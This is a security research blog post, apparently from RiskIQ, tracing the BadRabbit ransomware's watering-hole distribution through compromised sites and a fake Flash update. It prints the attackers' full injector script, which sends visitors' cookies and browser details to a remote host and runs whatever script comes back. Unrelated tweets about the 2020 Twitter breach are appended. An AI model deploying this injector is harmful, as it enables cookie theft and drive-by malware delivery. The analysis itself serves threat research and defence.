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An extensive campaign that’s distributing the ‘BadRabbit’ ransomware, thought to be a variant of Petya and perpetrated by the same group, has been claiming victims all around the world during the past few days. Distributed through compromised websites, the campaign serves up a fake FlashPlayer update prompt to victims who are socially engineered into running the ransomware. Eset pushed a [quick initial list of IOCs ] as a warning and later followed up with more technical details of the attack.
RiskIQ has been watching this campaign in real time through our vast data collection. Even though the BadRabbit ransomware is brand new, we can track the distribution vector back to early 2016 showing that victims were compromised long before the ransomware struck and the news cycle began. In fact, the campaign could have been originally built for something other than BadRabbit. To understand the full breadth of the infrastructure over its full lifecycle, we need to analyze the current events as they happened and then backtrack.
Around 4:45 UTC+2 on October 24th a tweet was sent out by Jiri Kropac, an analyst working for ESET, that described an ongoing campaign in which a Petya variant similar to the June attacks in Ukraine, was distributed. According to ZDNet, Infected systems direct people to a page where they are told to pay a ransom of 0.05 bitcoin ($277, £209, AU$360) to recover their files.
Fig-1 The Tweet by Jiri Kropac
The screenshot showed a fake FlashPlayer update prompt on a Russian news website. After clicking the ‘Install’ button on the prompt, the user was provided the supposed Flash player update ‘install_flash_player.exe’, which came from hxxp://1dnscontrol[.]com/flash_install.php. Diving into the content of the page, we can see the following:
Fig-2 The DOM captured by RiskIQ’s crawlers
After cleaning up the code, we see an injected script-tag with the following content:
Fig-3 Inject script tag
The injected script would gather rather limited information from the visitor’s session and post it to a server hosted at 185[.]149[.]120[.]3. The server would respond with content that could be injected into the page in a new div element with the ID ‘ans’. Before the ransomware-distribution campaign went live, we kept getting the following response, which indicated that we weren’t a target according to their list:
{“InjectionType”:0,”InjectionString”:””}
However, on the 24th of October, these responses started changing, and the InjectionString field contained a script to show the fake FlashPlayer update prompt.
We noticed that we’d seen this type of behavior before. Specifically, we’ve seen this format of the data sent out to the malicious host. Below are the two next to each other:
Fig-4 Data formatting on 10/24 and prior
On the left, we see the dataset structure of the October 24th attack distributing BadRabbit and n the right we have an older sample RiskIQ observed in July. As you can see, the rest of the script is also very similar—most interesting to note is that while the response from the injection server can specify a value for the InjectionType field, it isn’t actually used in the October 24th version of the injector script:
Fig-5 New script
It seems the October 24th attack was very much focused on getting content delivered and pushed out, so the framework was minimized. Below is a snippet of the old script that checked the InjectionType and could cause either a complete redirection to a different page or inject content similar to this FlashPlayer update prompt:
Fig-6 Old script
What is more interesting about all of this is how long it’s all been happening. Costain Raiu tweeted some information showing an extended list of affected websites and more IPs involved in the injection. Through RiskIQ’s large datasets we were able to pull up a list of the redirection hosts and correlate this to any website on which we saw them appear.
First off let’s start with all the injection servers we observed and the first times we saw them active on websites:
While this list is most likely incomplete, it does show that it’s part of a long-running campaign. The operators of this campaign have been able to use this position to target unique visitors based on IP space they associate with their targets. The thing we do not understand at this point is why they decided to burn this information position to mass distribute the BadRabbit ransomware rather than save it for another type of malware. The goal of the attack using ExPetya back in June was simple: cause as much disruption in the Ukraine and those associated with Ukraine as possible which also seems the case in the BadRabbit attack.
Another interesting aspect of these attacks is seeing where this adversary was able to target through its compromised websites. When our crawlers visit websites they create a link between the page and any of its child or parent pages it goes through. Using this structure we can build a list of affected websites when we look up the injection server IPs:
While we have good visibility in this campaign keep in mind that there could more websites affected by these injectors. We do our best to get a good view of what’s going on on the web, but if this group abused a highly target specific website, we might have missed.
To give others the ability to research this threat further beyond what we’ve just shown, we’re providing a copy of the basic injection script seen in July which is still used (although minimized in the recent BadRabbit distribution) :
var REMOTE_URL = ‘<INJECTION HOST URL>’;
var C_TIMEOUT = 20000;
function analyze_traffic() {
return {
‘Tr.Referer’: document.referrer,
‘Tr.Agent’: navigator.userAgent,
‘Tr.CookieState’: !!document.cookie,
‘Tr.Cookie’: document.cookie,
‘Tr.Domen’: window.location.hostname
};
}
function execute_request(post, url, callback) {
var xhr = init_xhr();
if (!!xhr) {
xhr.open(‘POST’, url);
xhr.timeout = C_TIMEOUT;
xhr.setRequestHeader(‘Content-Type’, ‘application/x-www-form-urlencoded’);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
callback(xhr.responseText);
var content = build_query(post);
xhr.send(content);
function apply_payload(response) {
if (response) {
var json_result = JSON.parse(response);
if (json_result) {
var inject_string = urldecode(json_result.InjectionString);
if (json_result.InjectionType === 1) {
window.location = inject_string;
} else {
write_on_page(inject_string);
function write_on_page(content) {
var div = document.createElement(‘div’);
div.id = ‘response’;
div.innerHTML = content;
document.body.appendChild(div);
var scripts = div.getElementsByTagName(‘script’);
if (scripts.length > 0) {
for (var i = 0; i < scripts.length; i++) {
var script = document.createElement(‘script’);
script.innerHTML = scripts[i].innerHTML;
document.body.appendChild(script);
scripts[i].parentNode.removeChild(scripts[i]);
function build_query(post) {
var post_query = [];
for (var k in post) {
if (post.hasOwnProperty(k)) {
post_query.push(k + ‘=’ + post[k]);
return post_query.join(‘&’);
function init_xhr() {
if (!!window.XMLHttpRequest) {
return new XMLHttpRequest();
} else if (!!window.ActiveXObject) {
var xhr_array = [
‘Msxml2.XMLHTTP.6.0’,
‘Msxml2.XMLHTTP.3.0’,
‘Msxml2.XMLHTTP’,
‘Microsoft.XMLHTTP’
];
for (var i = 0; i < xhr_array.length; i++) {
try {
return new ActiveXObject(xhr_array[i]);
catch (e) {
function urldecode(data) {
return decodeURIComponent(data).replace(/\+/g, ‘%20’);
// Execute request
var traffic = analyze_traffic();
execute_request(traffic, REMOTE_URL, apply_payload);
The group behind the BadRabbit ransomware has been active for quite a while longer. ESET linked a lot of the attacks around the activity in the Ukraine to a group they’ve named ‘Telebots.’ It seems the reach of this group is quite broad with access to victims and targets inside and outside Ukraine. With RiskIQ, customers can continuously monitor threats to their organization and automatically track changes to their web properties such as injects from BadRabbit., so your team can see and take action on emerging threats as they develop.
To see a full list of IOCs for this campaign, check out the RiskIQ Community Public Project here.
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“(...) RiskIQ has been able to track much more of the bad guy’s infrastructure used in their scam operations. We’ve identified around 400 domains so far that are all tied to these scams.” - @ydklijnsma
WHAT JUST HAPPENED? Security pros offered a range of opinions about the breach. All agreed the fault did not lie with each hacked account's owner. Some say it may have come from inside @Twitter. @BradyDale and @benjaminopowers report https://www.coindesk.com/twitter-breach-reactions-security-professionals-offer-an-early-assessment
Targeted #cyberthreats are spiking during #COVID19. We provide one source for information to simplify and accelerate your investigation process #ThreatHunting https://bit.ly/3c9xKoq
RiskIQ researchers just doubled the number of IoCs in the Pastebin. Please continue to monitor it for updates as this situation evolves https://pastebin.com/h64CK3CG #twitterhack #twitterhacks #ThreatIntel #IOCs
Just in case my last tweet got lost in the thread storm, @RiskIQ's list of domains apparently tied to this scam gives us a pretty good idea of who was targeted here. https://pastebin.com/h64CK3CG
This is developing very quickly, but seems to have been staged well in advance. Take a look at some these domains set up to support this scam. H/T @RiskIQ https://twitter.com/ydklijnsma/status/1283508384335925248
Leveraging @RiskIQ's datasets we have identified more infrastructure tied to the current cryptocurrency scammers impacting @elonmusk , @billgates, etc. This is research data, validate before taking action, it might identify new targets also. IOCs: https://pastebin.com/h64CK3CG
At this point we can just assume the entire platform compromised. https://twitter.com/ydklijnsma/status/1283503695796162560
And they've just crossed the cryptocurrency boundary https://twitter.com/ydklijnsma/status/1283501318917611521
